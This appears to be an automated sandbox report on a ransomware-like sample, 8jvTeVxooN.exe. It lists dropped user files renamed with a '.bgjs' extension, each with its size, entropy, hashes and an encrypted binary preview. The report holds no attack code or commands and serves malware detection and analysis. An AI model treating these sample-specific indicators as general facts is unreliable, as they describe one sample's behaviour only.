.....=\|.1..".6..-...<..t..u..3.<...4.7..zmFn!.-....S. ../......u. .UHc.[.B.._i&.).....]..u(....-!.$

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.277416957193617
Encrypted:	false
SSDEEP:	6:QOel5/inT0RIJhiUbXdFJXj+eqasxoxOGcww0L0QMS0VVCHfuBscii96Z:QOp4RChhdv+eqaskJQ/S0SuOcii9a
MD5:	4948E778B1F42A3E7F344BEC4BD6854E
SHA1:	66C1F83DD581D2F6B8F36268A4F5534619AEA05D
SHA-256:	94D1B034162585D889CDA1CAEC9006EFBDF3CFAB5B697AFA9295C3FCE75F3D6B
SHA-512:	A2F10D977FD82B88CC135857DCAB7D2DCCE83948DCC3F06D32D770DD9B43C1EC6BF13626AB2B6DC5FFB1128E9C873923342CC4BF962C8A5EC7F790BE50B53EAB
Malicious:	false
Preview:	1,"fuG. ..h.3....J."..M..../.:..0B.j..y..j......OL.d.....%.t...(yl.T.[...HB....@..b.Ppc<_.s...y+..].......v..'\|.....,. .]/F........]...9F..#....)...h...r..... .(he...OB..Sh.:.....O........$..y...e.j9]....J .^...G.}R.. ...:5.u...,E..........q..&...g..H..>1....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.845920801430727
Encrypted:	false
SSDEEP:	24:FjGTMqG6V7b6Lv0AGSewr1MsMcsLaWv14GKEnH7o1TUGPuCIskRUObD:dGMH6V7Wb9FTasM9LlvtKm7ohUGPu33D
MD5:	E251175BB1495CD4A3B26F69E7C06D8E
SHA1:	2567919A715375D3341144A05C44A9FE229AE4B9
SHA-256:	29187F4349E69A50CF0C9DCFA7DA1E2F5187FFFF229F5A75303C8C6843FBCB39
SHA-512:	F66C74AC216748FE0A3189E0CA979835A255A8A92923E88FA3B1B7F6D719DFDB10770ECB0D775270F5C9EDE2E94CBA4933D227567280AB56DF393A613BF50CDE
Malicious:	false
Preview:	1,"fu..Z+...6 .MmO..~MD.W.{....G.Z..B>i..y..v... ,.9..XYv.....6;MP.g.A.4F.).)j.x.Ov.X(?.S,pY/.<L~"~2\......A..~[.....}o.t9T.}.]......Ew.pE.E$.z...0@.C...aJ...3@.p....j')...ho..I$J.Iy...a.D.i;....k.A(...^......@...M....6.j.......^g4&`d..\...2.h.t..<..m.&......P6.....d.w;..:...E..K..u.....`KE..6.w.._.e...%K...t..?.u..C.7...=W.M-...lP........RQ\.....C.0.RWLu...Y...#...o.\uk.._....,(..{q.e......=.ba\:.....P../.R.].B.+.kLk..XB....S..j.'TQ.....{M).Z....G...RHVP..,..f`...a.......T/.i..A.[..{NWL..n..cuy.!.........).4.[.h....S8.^.....^.~.if..v.w.r.B^p<...4.7..............Z/...sj.9R.W..A.".}.........`(..du.\.yB.......i...QrO....^5V.)d.4`.0QD....4?.V9.:5........U.`...._.b..eaV]&.c.8=.F...M.X.D`..&n..)...GCW.-.sz.........._Zf.x..+.l..C..o...fS.....d...+.0.."=....G...[..n..G..g.~...[....Lf.tK..c..T...1.$.{&W...,..B!.r.......{.&.-.*k...5C.]Um..6....}.4...b..f.J.B..4..Lz.\.E~W......v...Q..W.j..0zN.`(^~...D`=.7s.Y..wI..>p...0....5...P9..#...HG..s6.n..

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988861929103896
Encrypted:	false
SSDEEP:	384:3EMs4ey5bnyFNc1sjTOghDuoEONE/mii/GTAx9s8/P9wk:UMsW5b1sXOZONEL2/P9wk
MD5:	97AEB1608318FAE9AF21A86BC5924DE2
SHA1:	A4F3908567509C18964488F443B770EBB11B17D0
SHA-256:	BA0AA0ED52134A2BC1CF2D6BDBE285C6B9A1C54D80498634EA74FD448BA9FE0C
SHA-512:	0D83584258AFB5A516634B184113DDCE01930402BF9C2723B96FBA85A67121E040216740F26AF4FB0C4A36A319594446B685078A8934420D500C5C4A03EDF945
Malicious:	false
Preview:	...@..Q.r......U&..i.....Y.l.x.G6...B.sud........M....8/q.9..t......@.vA..&..3.E.7....!.c......f.uS...Pd}tu.<E\2.]<.Y.yY.f.F.>.Dn..u.....>.;.<&9..?..j\|..k......fn..ex.6#...aA.F..$T{......._..sAY.m.E.=.5^.....\|...w?R=_.)...,kv.x...!..=.p.e.:.PP..........@...{uK...']...Je.V...;...D%u..^_L.Ywk..N...\|"8t...}...\5j..u.+4....z...[.F..kD..#........,..K.W.]..+..>ks..>..@.3b.$...'!..L4.....`..K..d....5.].Q.....,.g..6..i.....h.C.........}..=.kr.....].J..H.......K...)kcJW.G.S"..b...m.#.Gz.\|.:4?i..R..FUHtC9.D.:.6.-..J.....2r+...g..kvz:.T...D.L....V.........yj}.........Q....1..S....X... ....IGY...p[.../8.1..K..."..x.k...ILI......M.,....l..!Q..?....\|....(..Kp.V.o.1l}..4b...B.Q..3=_..-nH.n..5x^....WeM............`..\|`.k0.N.\..Q...,I....F="...../,c.V.B&.....f.RV:...z.X1..DY$......_.A)...Q..:....._.X.....u.....{.2Un..T[.o..r....,?...k....y...u,^K....I.B..4F5......%.D.Z..M..a..hO].rE.[.~..."0x$:...........nS.&"$..... .M...._' .....Z.X.kc...X.....Hs._.T....

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.977972620921035
Encrypted:	false
SSDEEP:	3072:3+m0E/6yoDide7GcLtAhGbka3W90Wx0tIO3Bj+75eph0:3+pEzoDQcLiGbkGW9fCtICBO5KG
MD5:	5A24D36A8715BB2DE82EAF1B8ACE2A55
SHA1:	571522F7FB258D6CF2A526486C1531189EE2C638
SHA-256:	F13E03A8C2C87E7FA264CE9AD1D0A160F05BC4C6F93B35D52BB8BA21B51AFD8B
SHA-512:	E9EC843843E4320F636CABD2EDB3AFE417553A7F1CD1DC45A773E15D9C09D718C1EEF70BD1516C35C9D79BE2F9FF8B585313DDF9778CE0EE1E6EE2AAF8E04329
Malicious:	false
Preview:	{"Maj+.y...\|.iY.0....=.......x.w..7...7.1..4v...=y....5.dC.uv#..6}j.......Sq.U\|.z....X2.."...... ....cM.P..;..j+.f.....D\....U(5....=...T...Z.E.v-....@=....L.dSez.M.....Q7.%6..'.......K.NL...v....p.[m..PQ..V#7...R!.<...X...<.4.aJP....t.&Q.].._. :...+S.8.B_HV..:@...rj..({....H....T.gq..1..t.....i..a.?hp..=..H.dTo[..2@.}...>8A...L.%......F.b..R.Al...6.U...6:..#.6{VA(.Rr.$_..V...;.${s..Y.....S$@DE;y,.xnsp....V..._....aF.dn.D.W..`.....L..Xm..N.....;.t..".e.N..Z..Ni._.M..Bvg .......k....cVB.....mj;}Js.79..,....T>4.....j.......[.Ra...R..4.u9..),....6....}....%...<...2...Rze..=..o.LaJC..y.=GJG.?D....;.U.`L...#d\|.V5<....#c....M...`.T.:r.mf"..T..4..*>...y0.....6O.~P....V>=...A.8..t.......e...zW.....e...I.]......BB......b9.u.... ].$r...+....q...+..5...hv7...C\|N....%M(.<%.....Z H..s:.V;.\.b<\|..L.{lr.d.n..}^[@... ...LBY.g...$w.&O.p.BH...0...>....n3.0>...\|.X..P.U.r9......n.\c\...B......ka.S...._.75.-E.Q\|.o....@.13%\|....,....2m.N.n..o....../Q...H.%.

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.908590329453946
Encrypted:	false
SSDEEP:	48:sTTiAo8p0kT90FY1k6BlS826XiUbyOT6bqDosO6F6D:GTpo7kT90GFY826yUbyOObq8J7
MD5:	8CCC52000FE2DFF40D85D4EF843CF5D9
SHA1:	81A4A548F7ABF532B7166F625E74CF4544A28FFB
SHA-256:	C4436CC13BD7D1EA9233AF2302631FCD355AFBD668F93477D312297D0AACA53D
SHA-512:	EDD7B8D7DC1B97414246AA2D5093B13ABA643474B96C87215F8F9A38038046868A3D575E2D29F4A906F4976A37FDFA8F6B0979624F5A5FD6EE3D066D93BAC29B
Malicious:	false
Preview:	<?xml.!.o.%V...........z_.-..".}.8...k...)...2!.P....M.\|/..k..bH'{i.W..p...i$\..Xx....FMB....J...7=,TL......[..+j5......sj........e.spm...S5.-.."....V..KU...{.+...G.5.F.%..\.b& .....~.t.BnB.A..w.h1...o..../.=J...n...o.0,.Q..n.._...f!.w..&v..<nD..W..4O.dvJ.".KM..ZBM.83....c.^$.....`...h..~.)...\x..#......HCI....(f.0.,...ea&...fw.........)......g.~..eI.!c...%'.e./..O......X.....QPc...A.%a~..T.6..(..K..c..5...x....&....f.@.<y..4...x.. ...V...f.gg....y..9.W..7.....+.Xk..NNy..i........Y..&..D........1+:KW6..L...."...W.=.;.a.P..U........5g..r.....m5z$..'...;.".\~........]..$!. 1...!p.-..L...J.. .Z....f..`..[/.5..5.../}..g..H..31.yve..6..H..%.....*p.../.Z..D>..'3..?.}......N..'o....,..k...]-.B.....],.B"-..r.....". ...P.S.j.K.)F...)8....sDW.:..z.b..P....&...S....G......_.L3."A..;...Bu.^.Pf.>.L].J.8._?...#{kZ...3.{U.1....j....q%.Pc........l..".rt.^.......U...h...".80X...>...BD..D>..Z}.)l.u..d=,0.$V._....QO.....7.;.bG.X...I.WuK...,.c...BA[..e./)>X.."/1(v

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9733477977946725
Encrypted:	false
SSDEEP:	192:JN04I3FnbBL5TVTshZbZm8k89oGIu94gYwNgoXflKe:cn9YZg8k0B2gPNgMl3
MD5:	5AAC78CB090F3B0BB4626B74AA862FBC
SHA1:	F0DA866AFF72D8EB81A1FC187BA0052804542E58
SHA-256:	F97BC30AAE3ED5CD67D978B0B318255AD8BDE7EE2DE1232CEEC72F1C892772B3
SHA-512:	2B2E072735D8D9A5C947B39FFE04357B92804984D8335A51F3992558E8963609EDCD9C679D6510BE99B934DE54A513C44E1855EFB92F28A11A307A97BC11025F
Malicious:	false
Preview:	A.....A..vB..w.9Z..x.D...#..CU...~.!1.#..sH..61......h...A.....0j..F.vq.....{...(V.;?......b.t.Yz..d..@..1..3L..1.Y0!.......P...!.\}f...2Yu.....Z.7#.....L.....q.^}.b].../....H!B.. "...N.{r.....a!.....b.n$.-M......s.....d0..%Pz..].YJ..Y....f._..?...+R.n1....~i...N%}..1.i.2....#.$.eO..@v.bp.b..m...9K..........'kx1.3V.. F.),........~....!U..y.5i...E.9.=...=2.....,Wo]V....,....\|..a..wi.0......d0!P..7..&.S:.[1.O...zw+9..J..q.g.....X.t..........:B..>dT.z>......^..fC.v..D...gv.......;..)H+......&^V..].Y.U....p...}.3.E4n..5..s...5Z[..r%<..!....`..U...gy.....C!.....R\|..].l.D .....>?( ..J.......y.u..d.........)5.Q..xv..{J..w..I.J.......Y.7^I.c@.n^"I.I. ..H.16..)Wt../;(......B.lc.]...r?1+~..@H..4...&xR..0.1t.......*Q.j....c.M....w.X....\.M.3..I=.fo#.8;L....5no..n5..p...5./~...^v..h....L..,k\|..{F6...~..v...Uq....?.!.....+..-...$...............;.`...&..(.@... #.;..~J.+-....8.....O.0...c$.....OW....Au..YD\n.y@.........@.....K.[..{...P..\...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009337984071607
Encrypted:	false
SSDEEP:	3072:vssA68bXv1TBFPaz30M46Qfzx8yKst+NHLLvSQ7BHC+T70xidJp40NOT7VRPDkS+:vsNdf19FPazV4DqyXt+JPNxNcxiXJB7
MD5:	B1F55D0EC447B5478AAB7ECE6B1623FE
SHA1:	0545C58BB5A053C852357C2B44FF93156113A55B
SHA-256:	B61E3D2C701DC667E7A5393CCDAA0D6EC0781B367C6C1D3E199D3CC67954B9FE
SHA-512:	8D948CB3BB5121FE2724957F2CA1FB4FB8280DCFE0C7E31CCA70C72282298BFE0DB2B7834D263547854D980B27EDB7297AAE4B9FB2D1FE67EC5E6262D6A51630
Malicious:	false
Preview:	.....u.z.8..q...-].z..~.fV.&o..._+.z..E...+..E{5..1..Z.q..BF..rj....xB4.l....a...OG...=.V..Q....%......2.7._H>.0..z....y.....K.._SU...e.0...."..]r.gs.o..%A..gpHA.5..\.CC.?.^. .}..>.q..Y...a.;.!..u{...b...v e..B..<1.......hT..#..?.0..XQ=...\...3.{.X.Lb..3A..X..;.ge..m...<..K.PGA\|r8...:.w.\..N....w...D~..>.....P,....9.AVt..7\...-..Ly..srs,xK.:..\.C....QD.x....FSI..`. .wI+Aw-G..~.3...`.6...x.8p....f..W0J....=aX\|...v......K.ZN........7.Z...n..W..M....8lF...B..,Q..1O.O'^z..i..s......\|.....z{V..:..m.uM.,.vn&T'..UN..>E$.=o.:..E'.j...\[ea.M ....)21...L.N>....gN..\|.....\|.T..>..W.[..R....`.c7...V...:.M...as.....6?.X....\|.....Sk1?\l.jx...m.j.....+..LS{.v....t..9...ivKt.Xt.?ac....B.\|..B..@.....o.r@..<.9.%...;?.......VJ...hb+..?Lq^..H.$.+.D.fl7F....n\|~.y}A....S.....V7....W........a.'.-n......I......Nv....,..I..q...R.euR...r.PF..GxF+..F.<...n.."...I.#N.)6..H.0.j}..n..9/..+.......aK..R$...e.oA.......G.aN......~?........A..n.N...T...#..^..~.d...D.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2081321237604152
Encrypted:	false
SSDEEP:	6144:v3pha8fz5gewLpnlrAQJKjsm+o+64H9woz4q:v3pQY5gewZlrZRjW4H9Oq
MD5:	04068976D280B79B4CBE177177C1E08B
SHA1:	C43BCB3D29EB178C423619EC35D8F6DDD5B2ABCF
SHA-256:	C432C946C6635033FAC87C89150CF690D2E06F93608E7A1A5E491A27A1E40F29
SHA-512:	5B2D39EF98A54B91C156437483D4919ED0801FBEAD931E52073D0889A06D59CECF026C6DE661F8C4027C80100F675C96080269F135E64C3B9C30BEB48BC1798E
Malicious:	false
Preview:	.....2...?).+..'..h.;t...k.L....l`m..I....F...:=.,....j.._...(.+......ej.aV.5..O..)c.....P4.n.#0G.......~........n...r;.E.....m2.W...~w...R.$........?.........W..l,y..N@k...z\....=..F....(M..Y].R.....'.yJo{j..>==."...8.....U..@...]{...s....N~..I...@/..Y..../B ..W..#.^Nz.J{....B"...N..$....T..&...4.l...l.........R.5...nX.&?...rG.<.[\....{@}:#9.k....]..5m..0.+2.....T^Wv...x..u.....5q....E..+9.t....)..b.....M.. /Q...qt5..m.}~A..^..E....G..n@)...EC..X..nZ.A....9....v..0...?....s6.O.{..,.......k..<..=6.cz..8......o../......`$B....X=D.Q:...u...(%f..#,'8.t....\..a.........(.v_.....M....,..2.nP.....Q>>.u.a+)..M.#..Ya..8?.8....O...f[.rP.....b..,.0<.D.]{MG.E.F[.Zk..I...h.....z.$...7..xa;..=Y.F..~=.V.Q..u....&Z..P.e9...u.....[Fw...E.....B.C..i.v.Z..9.[r..z..\.u..t..ml....l._!.l.a..Q...l.OV}(.:... .@.!.OBz.....q..:.j...h...G.....h.o..9...c....O....3.~...........2..\.7.........j......6m.T.T...N...Z#O..Z@.4,N..O.~.q.G+UXQm5..=..*..?E}...C.~..l.\|.~.N..1`zF

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2082820204176423
Encrypted:	false
SSDEEP:	3072:F0hnauxmppL97fgxuhMfKzjb7Vh853+M+tMSvHpMQr9Q4wfqRXqW9Ra:FQnx2RgxuF3H85B4v2QK4wfut9c
MD5:	D90346BA8A8A13B64ECE1D2FF30529D9
SHA1:	3E4E801E2E5A4E50842312D437077A0B00BB9C09
SHA-256:	6CD7FE0A92C1498E334A0F5248D403A4E0306DBA226748437CF2B9C2BED20E58
SHA-512:	319E6D3CEB3E0BD8010503E73571EB9D9310080196AAC53DC73918E6EBD2B23B16085FE0257A857EDCB36B771506B74215BADB5EAFE8EB07293C2E81DF9F1158
Malicious:	false
Preview:	..........g.].....VC..P...Pj..lg.6.Qi...j..6...U:.`u3.a.X.4..4........T[)5..Q.sG...7lX.T..0~..n..`B.0...AX'b.I".h.k.Q"..<.....\.yr._..p.c..=P...ps....U....f...../_.].......+zK..>.}S.....B.p.(.qTgnbg..WR.....A..*..[.zMb.H.v...........Z.N...........P...L(f1....f..a..z..U."/...N..R......A.....ii..u..?....D..76.?86..y..w..l0o.`%<.47pA...e.s....G....B!..13........<Dq.9^..d&C[...."m../_d.!.a..b"..+.+...y@O......'~xT.q....~.s...V.[..@........ ..)..P..y.L..0.......{..P.....s>vH...ckO..j.jg.na..s..V..6.k=...O.0......C.V...&...&..[..^.....q..Q..I.>TZlp.Y>...=...-."..L?..OND>.>...:!...c6l.........Z/..:<G.k..........w...x}.K....IZiE.....t.`.4.L....P..o.9r.]l~b..w...-s6.B.\u.k..3.(.e...ci...`...5i....i].Y...&sEe..3...v....1<..d..T....:3.............I..y.....{9.(!A.I9.....jq.G$9.1f_.^......O..44G..F.&...w.=[.....,R\|j.....9.<...:8H,....S..@[.$..;o0%.?z.b4.....@...e.^...".....%.T....=........-.d<.'.9w.....Pv.GA..\|w....BE[.L.V{@.......V.'....j.j. .:.Vx

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207980656774681
Encrypted:	false
SSDEEP:	3072:4PKtfpvq9qvATKwXx1ms+3vnpHoaFcVTy+POXKQCLekCORSxa:MKtfxq9qI2Gx4s+3PpHOTjWheetORSo
MD5:	0F52A2A4E917E6DB3450C8621BFE7412
SHA1:	E9A892E498A45C9CE1DF7FE7FE1BBB442C23016F
SHA-256:	E5B4D469FD111ED81F4B02EEDD46BD6874069BD5903669DB44468139E49B5BA5
SHA-512:	E27F678EF2C8D4E788C1AE882C806FE71D3120002B78F836CC3A3F591FC2A212CF7E6D0884A8E36D65F345D10FC86D8F1E8E201F5E0C797CB26102A2AD85EDC3
Malicious:	false
Preview:	.....^...A.5....m.R.).x...g....$u.X\|.Pz.......N...U....F>..oz.3.7.. ."..b..T..A\.-0Y{.`...d.[..6.$\|.e.......;.uSRW0...>..{5j.....h..0=%D.f....9...f)..m.ce8.....0".?H...i3f~._.g(...=A.._U.Z,.{...w.q#..Wb...tR.o.C.1b.....".\|.X.".YSG9:l.=...$..L(..Y...Pj.a..!r.X.../...C.....V..~m......{1e.80;YG(...E...F.i0g./.-..I...Q..t.yW.z:(...p..^5.r.'.^.^.a.P...9.B,<..b..'.,..ft..X..l.~.....h._........Rv.2..lOR..,...Is:.>.I....F..\|..\.....~..Jb.../...PaK.....&.H..(.G%,..9e...g.64H.Ca....b}...(Q...E.0.>w...;[.%2..+..x.LK1....n......`..)..R..!._^..../...9.o.C.Z......p..e.+.[..b..N.U..o..._....a...9...+.p.....c.G;.!.X.....v.WJ...4..l.J1bI?,.w..v.y.?..xY.>'}.6.Xd.K.O*.U.....iA(....zL.:.....?...'7...q....kr...7....n.!..f]..Fk.7..s..ct.$e..3..O......2~l..t.I.E.-.+W..?._.c.LB..#.&........C.G....&.OT......&......9...4..A.....:b..Z....!5^u I-g~WS.cY.F....4....h,.x.._s.p[.....gR..]...@......=.X...u.p. jl.U0"PF&...d....v.e..a?e`.AQ>oTA...,".$)....K5A.O."...`.t_vC...V...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.9494243602682415
Encrypted:	false
SSDEEP:	96:g20DI3/n1R3Qskn4m3y1hN7R54f/5gIjmpK+E9LlA9Gz3w:g20U3/nh+4m3A54xjmchA9O3w
MD5:	792032E0AF0D0054FE1AFE4321AB4B92
SHA1:	766F678C78B316DEF29C0BE29918989F5E0D582C
SHA-256:	60ED2CE6AD20F25E6C1109E5F05169B8F1803690CE0DEFD671A7C9DF980B2A49
SHA-512:	6E59BF25DBAC0E4CE07E898D94ACCE90FFEAEEDEB94ED0A1F32D7C73C6A217D039C911906FEAE50240DD8668E0B94E2E93A80F215632657DFEF8E1CFDCF238BA
Malicious:	false
Preview:	<?xml.zl.;.i. ..@..l....j...yx.RH..w...<. .......^Y.i..Q!....T.u..a.....jf.......-.n...g.O.j..!...E..y...>...R-{....}7X.T...b3g...F..$8..../N.o. d..H0..1...GR...`.T..........?...\....~.9A..Tw..),.Q>:Q..22BKWZ~..YN.... V......A..........A$k.P.q...7^.....a...i..@E...j......dX..e...z8........0X..%.`....j/......j'.=Ii.s.d.w...d...OD:...d...L..V.`........kv^`.w..Y.t..u.....7.{mR.........m-c.F.Q...y.....TFx.drX../.+.I5...........d..{..6.../y.Mo.)..C+..@.F...o.6SS=.[{..P.......fS.q..z.{.;.W....U..e.v+:..a[M.}.U....{pM...fk..rG(....'o...k.~..]7...(.q.....&.....:..5....qEb.Hq.V....@d....._....+_)...{J/.U...N....5.4\...b...G.$.i...&.Gp.M..._....v?.s.]aX..0..!..W...S.[#......VK.V}s:%.L.K...S.. .(.^N..$...^...+s(n...?.S.r.\,{.....DKv.#f..!..\|..Nx.9O..G_.~...S.....r.&.]A..$......$9...l.&A./.J/QY.j.8..%..(.2QuI.";A..u...%...W.F.}....4.?..\|n-.....w...(@.....?D....1.m4.D.}.g...?2p.E.............Cv..2.Z!O.e."X.....].f...??..vk..M..Z....v...Y?.C..'^._....u/...dY;.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.97164610760296
Encrypted:	false
SSDEEP:	192:Od8BRQfh55i4Xcj9UePJ97OCypsTxWdeYbF5T:OKXQBi476J9KCy66eYz
MD5:	BA7B905639638F623CD055ED3AFB8A30
SHA1:	2F50336ABE1C5E96BEC7D66AA8DE91377B1A7DA0
SHA-256:	65CCC1B8F3F236A63F986F95047ECC5658034E953A662FE28D376C9BDFCB0366
SHA-512:	2BAE93E5C8810250ED36C7BD18C5C1912522D5BDB1C6FD0B44E114417BA3B1F4D2AFB8A195A74290205AB788F7FE9F797FBB9EBC6384C464CB562228AC41ED55
Malicious:	false
Preview:	10/03..,\|d\|\|.. .n..jV~.'.D.}..]....qN../....a.X.l.4.Z......E.v.m.m$....6?XoE..{x.To\|f..D....G........}...a.,:(X..qwVk...Q.....5F....I.`......-.j..7fJ....E.....SK.?......4.v......I.............mL......f...SX,.C8..f<..O5.).W..4....-.9.1...J..XX...:....E..M....._.mn.L....3cm[.........x...!.9.N.....K.....Q.%..6.....s.....g...s.h....A.^.z..."..tL...-....K?p..-......\|.....2;b..6.Zy\|[h.1..W...g.OGR.$....8.j{.U.v.S...k...9..e:.4?..sj.^;h...:.pgI.........5...H.N.w..N.....Vm..}@l...N..H2.8...QL...{.....].....,.Q0...2u...86..~n .......<M...Li.-1....n....#..m.M9......V.+...L.;O=K.......P....5!....0&.....y.....,&....~...2.?..5(...Q;.O.....G...Q.?^..5.........................r(..."...T^.a.<....j.H..gQ. y..@...bC~;.+.G.!jV...Q..=Q..)8...3../......_..~ .N.j.Q`.U.E...,..~.@.../nF....$2.u....&P...Anf2&.H..._z.c..g0"..P...\............%.goD.L.0s<.......V]Y0...V:...f...z}.X]s.........`.[.I...P,+...f..o9...u.......n.t..T.....Z....-..i1..\8v;fU+.X..7.=..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.748290980148508
Encrypted:	false
SSDEEP:	24:QkT4jynoOfYumbxeYkh40117jupdBS59ft5zp1ObD:VMviWbUN401puO915zUD
MD5:	4AB4E2AD811F9EFDEFE26735C58604E5
SHA1:	E907B1D8BD3FD19E99F1FA7F89FBE88A2487293D
SHA-256:	F261F88803702817F3C7B227B8305D911E1F049B722DD962484A221D10BC7740
SHA-512:	CE1034CBBD00E5C8EC4249850EDB38297837C1B75E2ACDD84E9179344E23493DBCFD5381A05FEF97B33F2E8546B9000F694B3ADC233D3F05C492218F8AE4D3A3
Malicious:	false
Preview:	..1.0...lQ&1#..)d5...{.U.j......'.^.kJf...x... M$e.w..K.:j..a>Q........\..t......8..hRI....z.J1..,jo.~...(...e_.\|.B.Q.j..1..@.1.$-....`.NN.oD....T...S.O.V.+....\..........k>.}.B".m.#$..0g..(9;....?b..`^....I...cdE#....]"[N@EI4Ij@4_..6"..z.fAP. yKpc....z8b..).Po/%.q..d.4...(.5bG5N......,.#.^...H..$..~g.g.6.....hUZ..FrbU./..z..o..-1...a.^x.]X.ekEV.l8A...H[5c.F..\|.. ;.}..]g...L....\|.?U..,.A..~....U....Q.G".V3 .....-[fXq.k.....Z....wjA.......2.../7.t..J..Jc....N.....?v..l.._y.,OX..q...4..d=.1EL4.X..$A..D...o.p....W8.V...`0&.p.1.P.f.....u.c5r..O....'$.......L`....P..=^..1..k..D....5.aue..#.....:.2A..X...'O..Ljqw........~.ySt_........t..C.0....>P.:.......'I1.G&........X.].u\|....Hw..x{..O.-...M..i.\...F.r.z.<...kqQ{._..p.W..`-..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8781692716058265
Encrypted:	false
SSDEEP:	48:beFfNotI+Tnq9jdWAoCYqVmF69aYv8YDreUaD:aZ+inFd16qVm+au8
MD5:	776F6AEF2DADDA99EF5FB4C827A5C3F3
SHA1:	79AFF029751ECCAF45A282523DB222C898B421C9
SHA-256:	A873D9F2368F57F7C8268528249839CDC02172A1A80EF63A08FE9714AC9DD003
SHA-512:	F78ED8D3CB8947ED06E53F035A841F4167B6765BAFE3A1FB9CBB1CA2A9758B88DAB6F0B93EC596CF9B3BA092593F34CD27985A7EFFD035C22A5B033B71CCE1BE
Malicious:	false
Preview:	..1.05.d..E.!.mUJG.(.&-.'pi..5......Ez._C.m.`..n}..n..B..IY..Zr..x..$x......%[.\....n>.9.M.........T...N[.`..EA.x(8]..+....z.F..a.....\|...Q.....`7k.....J .7....8..}.FZ.\_q<.Zu.........;w$G.55}njw._..,MV..Q#p.CQ)..v..q..<w.m..l..K.....-CE...:w.2..IoDa.......D....H.@.K.%A..]D.....ueb...ER:.."....5.Z.0....\|{.c..t...7~...D..A1...yc.4....Za...9....vg.....&<.]^.U.....$8-Z}...\|..).ST..v(... ...f^.(.K....P....~.S.S..E.....1.7Zs.2...W..`B.R...}Z...b.W#x.ny..r8./..r..].NZv(..,h.I3.dkj.W.......6.....w.....H..a.N.Tcbb9K.....O.......W...V....'P?B.F2...f:.P...u...k..ssR$.L..C..VR.w ..]......R...n6..Q..8.. 5......... w.fM..v2..OL\_s>.<.....Y1.._..e../.R..nQ8..q.m..o....^....;.,+?.X..N..?V.R..1..zcYq...."..:$.(.....\|....B3...Ax..l.d.../..g.9.K.0V....J._..W../0.E...:.7_u.PP[.v]..4..(.n..a.........q.>..R..{.B.,m.T...$.........B...#.R.lD.w.i..R.0...4$ETA..6.(K..\|.m..^9.,.Z4..M...cQ.V...m]eb..........r.....M...#.jJ.VLUf.%.....Rx..C/.W..:/.V.a.p..}..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.72656134743698
Encrypted:	false
SSDEEP:	6144:OLNC2sJjcZ6jaFw9/XcQk29HiWMXoMQq3:m8cZ6jcOsQZiWPq3
MD5:	174E1B740B2356DBF348A44F054F59D2
SHA1:	BB5F0294956FEDA2A5D6C370E6EEF86A19D2C2A5
